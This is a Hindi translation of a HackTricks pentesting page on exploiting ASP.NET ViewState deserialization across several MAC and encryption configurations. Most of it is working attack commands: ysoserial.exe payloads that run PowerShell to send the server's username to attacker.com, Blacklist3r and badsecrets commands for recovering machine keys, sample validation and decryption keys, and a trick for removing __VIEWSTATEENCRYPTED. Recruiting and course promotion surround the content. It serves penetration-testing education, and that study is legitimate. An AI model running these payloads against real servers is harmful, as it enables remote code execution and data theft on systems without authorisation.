hacktricks/pentesting-web/deserialization/exploiting-__viewstate-parameter.md

28 KiB
Raw Blame History

रहस्य न पता होने पर __VIEWSTATE का शोषण करना

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

यदि आप हैकिंग करियर में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (फ्लूएंट पोलिश लिखित और बोली जरुरी है).

{% embed url="https://www.stmcyber.com/careers" %}

ViewState क्या है

ViewState ASP.NET में पृष्ठ और नियंत्रण डेटा को वेब पृष्ठों के बीच बनाए रखने के लिए डिफ़ॉल्ट तंत्र के रूप में काम करता है। पृष्ठ के HTML का रेंडरिंग करते समय, पृष्ठ की वर्तमान स्थिति और पोस्टबैक के दौरान संरक्षित करने वाले मान base64-संकेतित स्ट्रिंग में संज्ञात होते हैं। ये स्ट्रिंग्स फिर छुपे ViewState फ़ील्ड में रखे जाते हैं।

ViewState जानकारी निम्नलिखित गुणों या उनके संयोजनों द्वारा चित्रित की जा सकती है:

  • Base64:

  • यह प्रारूप उपयोग किया जाता है जब EnableViewStateMac और ViewStateEncryptionMode विशेषताएँ दोनों असत्य पर सेट की जाती हैं।

  • Base64 + MAC (संदेश प्रमाणीकरण कोड) सक्षम:

  • MAC की सक्षमता को EnableViewStateMac विशेषता को सत्य पर सेट करके प्राप्त किया जाता है। यह ViewState डेटा के लिए पूर्णता सत्यापन प्रदान करता है।

  • Base64 + एन्क्रिप्टेड:

  • एन्क्रिप्शन उस समय लागू होता है जब ViewStateEncryptionMode विशेषता को सत्य पर सेट किया जाता है, जिससे ViewState डेटा की गोपनीयता सुनिश्चित होती है।

परीक्षण मामले

छवि एक तालिका है जो .NET फ्रेमवर्क संस्करण पर आधारित ASP.NET में ViewState के लिए विभिन्न विन्यासों का विवरण देती है। यहाँ सामग्री का सारांश है:

  1. किसी भी .NET संस्करण के लिए, जब MAC और एन्क्रिप्शन निष्क्रिय होते हैं, तो MachineKey की आवश्यकता नहीं होती है, और इसलिए इसे पहचानने के लिए कोई उपयुक्त विधि नहीं होती है।

  2. 4.5 संस्करण से नीचे के संस्करणों के लिए, यदि MAC सक्षम है लेकिन एन्क्रिप्शन नहीं है, तो MachineKey की आवश्यकता होती है। MachineKey को पहचानने की विधि को "Blacklist3r" कहा जाता है।

  3. 4.5 संस्करण से नीचे के संस्करणों के लिए, चाहे MAC सक्षम हो या न हो, यदि एन्क्रिप्शन सक्षम है, तो MachineKey की आवश्यकता होती है। MachineKey को पहचानने का कार्य "Blacklist3r - भविष्य विकास" के लिए है।

  4. 4.5 संस्करण और ऊपर के संस्करणों के लिए, MAC और एन्क्रिप्शन के सभी संयोजन (चाहे दोनों सत्य हों, या एक सत्य हो और दूसरा असत्य हो) के लिए MachineKey की आवश्यकता होती है। MachineKey को "Blacklist3r" का उपयोग करके पहचाना जा सकता है।

परीक्षण मामला: 1 EnableViewStateMac=false और viewStateEncryptionMode=false

AspNetEnforceViewStateMac रजिस्ट्री कुंजी को शून्य में सेट करके ViewStateMAC को पूरी तरह से अक्षम किया जा सकता है:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

ViewState विशेषताएँ पहचानना

आप BurpSuite के साथ इस पैरामीटर को समाहित करने वाला अनुरोध कैप्चर करके देख सकते हैं कि ViewState को MAC से सुरक्षित किया गया है या नहीं। यदि Mac पैरामीटर को सुरक्षित करने के लिए उपयोग नहीं किया जाता है, तो आप YSoSerial.Net का उपयोग करके इसे उत्पीड़ित कर सकते हैं।

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

परीक्षण मामला 1.5 परीक्षण मामला 1 की तरह लेकिन सर्वर द्वारा ViewState कुकी नहीं भेजी जाती है

डेवलपर ViewState को HTTP अनुरोध का हिस्सा नहीं बनने दे सकते हैं (उपयोगकर्ता को यह कुकी नहीं मिलेगी)।
कोई यह मान सकता है कि अगर ViewState मौजूद नहीं है, तो उनका कार्यान्वयन ViewState डेसीरियलाइजेशन के साथ किसी भी संभावित सुरक्षा दोषों से सुरक्षित है।
हालांकि, ऐसा नहीं है। यदि हम अनुरोध शरीर में ViewState पैरामीटर जोड़ते हैं और ysoserial का उपयोग करके बनाए गए हमारे सीरीयलाइज़ किए गए पेलोड को भेजते हैं, तो हम फिर भी कोड क्रियान्वयन हासिल कर सकते हैं जैसा कि मामला 1 में दिखाया गया है।

परीक्षण मामला: 2 .Net < 4.5 और EnableViewStateMac=true & ViewStateEncryptionMode=false

एक विशेष पृष्ठ के लिए ViewState MAC सक्षम करने के लिए हमें एक विशेष aspx फ़ाइल पर निम्नलिखित परिवर्तन करने की आवश्यकता है:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

हम इसे समग्र एप्लिकेशन के लिए भी कर सकते हैं इसे निम्नलिखित रूप में web.config फ़ाइल पर सेट करके:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

जैसा कि पैरामीटर MAC सुरक्षित है, इस बार हमें हमला सफलतापूर्वक करने के लिए पहले उपयोग किया गया कुंजी की आवश्यकता है।

आप Blacklist3r(AspDotNetWrapper.exe) का उपयोग करके कुंजी को खोजने की कोशिश कर सकते हैं।

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets एक औजार है जो जाने वाले मशीन कुंजियों की पहचान कर सकता है। यह Python में लिखा गया है, इसलिए Blacklist3r की तरह, यह Windows डिपेंडेंसी नहीं है। .NET viewstates के लिए, "python blacklist3r" उपयोग करने का सबसे तेज तरीका है।

या तो इसे viewstate और जेनरेटर के साथ सीधे प्रदान किया जा सकता है:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png

या, यह सीधे लक्षित URL से कनेक्ट कर सकता है और HTML से viewstate को निकालने का प्रयास कर सकता है:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png

व्यूस्टेट परमीटर के वंशानुक्रमण के साथ विकल्प खोजने के लिए, badsecrets BBOT मॉड्यूल का उपयोग किया जा सकता है:

bbot -f subdomain-enum -m badsecrets -t evil.corp

https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png

अगर आप भाग्यशाली हैं और कुंजी मिल जाती है, तो आप YSoSerial.Net: का उपयोग करके हमला कर सकते हैं।

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

जब सर्वर द्वारा _VIEWSTATEGENERATOR पैरामीटर नहीं भेजा जाता है तो आपको --generator पैरामीटर प्रदान करने की आवश्यकता नहीं है, लेकिन ये चाहिए:

--apppath="/" --path="/hello.aspx"

परीक्षण मामला: 3 .Net < 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true

इसमें यह नहीं पता चलता कि पैरामीटर MAC के साथ सुरक्षित है या नहीं। फिर, मान्यता संरक्षित हो सकती है और आपको इस सुरक्षा दोष का शोषण करने के लिए अपने पेलोड को एन्क्रिप्ट करने के लिए मशीन कुंजी की आवश्यकता होगी

इस मामले में Blacklist3r मॉड्यूल विकास के अधीन है...

.NET 4.5 से पहले, ASP.NET उपयोगकर्ताओं से एक ___VIEWSTATE_पैरामीटर को अनएन्क्रिप्टेड रूप में स्वीकार कर सकता है, भले ही ViewStateEncryptionMode को हमेशा सेट किया गया हो। ASP.NET केवल अनुरोध में __VIEWSTATEENCRYPTED पैरामीटर की उपस्थिति की जांच करता है। यदि कोई इस पैरामीटर को हटा देता है, और अनएन्क्रिप्टेड पेलोड भेजता है, तो फिर भी इसे प्रोसेस किया जाएगा।

इसलिए अगर हमलावर किसी अन्य दुर्बलता जैसे फ़ाइल ट्रावर्सल के माध्यम से मशीन कुंजी प्राप्त करने का तरीका खोजते हैं, तो YSoSerial.Net कमांड जो मामला 2 में उपयोग किया गया था, उसका उपयोग ViewState डेसीरियलाइज़ेशन दुर्बलता का उपयोग करके RCE को करने के लिए किया जा सकता है।

  • ViewState डेसीरियलाइज़ेशन दुर्बलता का शोषण करने के लिए अनुरोध से __VIEWSTATEENCRYPTED पैरामीटर को हटाएं, अन्यथा एक Viewstate MAC मान्यता त्रुटि लौटाएगा और शोषण विफल हो जाएगा।

परीक्षण मामला: 4 .Net >= 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true/false केवल दोनों विशेषता को नकारें

हम ASP.NET फ्रेमवर्क का उपयोग करने को मजबूर कर सकते हैं नीचे दिखाए गए वेब.config फ़ाइल में निम्नलिखित पैरामीटर निर्दिष्ट करके।

<httpRuntime targetFramework="4.5" />

इसे वेब.कॉन्फ़िग फ़ाइल के machineKey पैरामीटर में नीचे दिए गए विकल्प को निर्दिष्ट करके भी किया जा सकता है।

compatibilityMode="Framework45"

जैसा पिछले में मान एन्क्रिप्टेड है। इसके बाद, एक वैध पेलोड भेजने के लिए हमलावर को कुंजी की आवश्यकता होती है।

आप Blacklist3r(AspDotNetWrapper.exe) का उपयोग करके उपयोग की जा रही कुंजी खोजने का प्रयास कर सकते हैं:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

यहाँ से अधिक विस्तृत विवरण के लिए IISDirPath और TargetPagePath का संदर्भ देखें

या, Badsecrets (जेनरेटर मान के साथ):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png

एक वैध मशीन कुंजी की पहचान होने पर, अगला कदम है YSoSerial.Net का उपयोग करके एक सीरीकृत पेलोड उत्पन्न करना

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

यदि आपके पास __VIEWSTATEGENERATOR का मान है तो आप कोशिश कर सकते हैं --generator पैरामीटर का उपयोग उस मान के साथ करने के लिए और --path और --apppath पैरामीटर को छोड़ सकते हैं।

ViewState डीसीरियलाइज़ेशन वलनरेबिलिटी का सफल शोषण एक हमलावादी नियंत्रित सर्वर को बाहरी अनुरोध में ले जाएगा, जिसमें उपयोगकर्ता नाम शामिल है। इस प्रकार का शोषण एक प्रमाण के संदर्भ में प्रदर्शित किया जाता है जिसे "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" शीर्षक संसाधन के माध्यम से पाया जा सकता है। शोषण प्रक्रिया काम कैसे करती है और MachineKey की पहचान के लिए Blacklist3r जैसे उपकरणों का उपयोग कैसे करें के बारे में अधिक विवरण के लिए आप PoC of Successful Exploitation की पेशकश की गई जानकारी की समीक्षा कर सकते हैं।

परीक्षण मामला 6 ViewStateUserKeys का उपयोग हो रहा है

ViewStateUserKey गुणा CSRF हमले के खिलाफ रक्षा के लिए उपयोग किया जा सकता है। यदि ऐसी कुंजी को अनुप्रयोग में परिभाषित किया गया है और हम कोशिश करते हैं कि हम उस परियोजना में ViewState पेलोड उत्पन्न करें जिसे अब तक चर्चित विधियों के साथ, तो पेलोड अनुप्रयोग द्वारा प्रसंस्कृत नहीं किया जाएगा।
आपको सही ढंग से पेलोड बनाने के लिए एक और पैरामीटर का उपयोग करना होगा:

--viewstateuserkey="randomstringdefinedintheserver"

सफल शोषण का परिणाम

सभी परीक्षण मामलों के लिए, यदि ViewState YSoSerial.Net payload सफलतापूर्वक काम करता है तो सर्वर “500 आंतरिक सर्वर त्रुटि” के साथ प्रतिक्रिया देता है जिसमें प्रतिक्रिया सामग्री “इस पृष्ठ के लिए राज्य सूचना अमान्य है और यह भ्रष्ट हो सकती है” होती है और हम OOB अनुरोध प्राप्त करते हैं।

अधिक जानकारी के लिए यहाँ देखें

संदर्भ

यदि आप हैकिंग करियर में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - हम नियुक्ति कर रहे हैं! (चुस्त पोलिश लिखने और बोलने की आवश्यकता है).

{% embed url="https://www.stmcyber.com/careers" %}

जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके: